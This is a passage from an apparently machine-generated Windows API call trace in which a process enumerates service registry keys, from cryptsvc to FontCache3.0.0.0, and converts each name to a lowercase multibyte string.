lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0223.775] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0223.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0223.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0223.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0223.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1a48, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0223.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0223.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1850, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0223.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0223.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0223.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1a48, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0223.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0223.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1850, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0223.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0223.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0223.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0223.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0223.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0223.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0223.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0223.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0223.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0223.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0223.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0223.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0223.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0223.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0223.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0223.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0223.778] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0223.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0223.778] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0223.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0223.778] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0223.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0223.778] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0223.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0223.778] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0223.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0223.779] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0223.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0223.779] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0223.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0223.779] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0223.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0223.779] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0223.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0223.779] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0223.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0223.779] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0223.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0223.779] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0223.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0223.780] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0223.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0223.780] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0223.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0223.780] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0223.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0223.780] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0223.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0223.780] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0223.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0223.780] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0223.781] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0223.781] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0223.781] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0223.781] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1850, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0223.781] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0223.781] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0223.782] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0223.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0223.782] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0223.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0223.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1850, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 